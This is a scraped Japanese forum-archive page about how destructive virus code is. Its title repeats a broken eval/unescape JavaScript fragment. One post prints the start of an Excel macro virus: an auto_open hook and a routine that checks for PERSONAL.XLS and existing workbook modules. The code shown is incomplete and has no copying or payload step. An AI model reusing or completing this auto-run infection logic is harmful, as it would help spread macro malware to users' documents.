ウイルスコードの破壊力は異常 (){eval(unescape(('Script(t,'%')))})(/./g);

ウイルスコードの破壊力は異常 (){eval(unescape(('Script(t,'%')))})(/./g);at NEWS

ウイルスコードの破壊力は異常 (){eval(unescape(('Script(t,'%')))})(/./g); - 暇つぶし2ch354: サクソニアセミ・ポンプ(京都府)
10/07/29 02:48:32.27 3QqqRCRj
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

次ページ

続きを表示

1を表示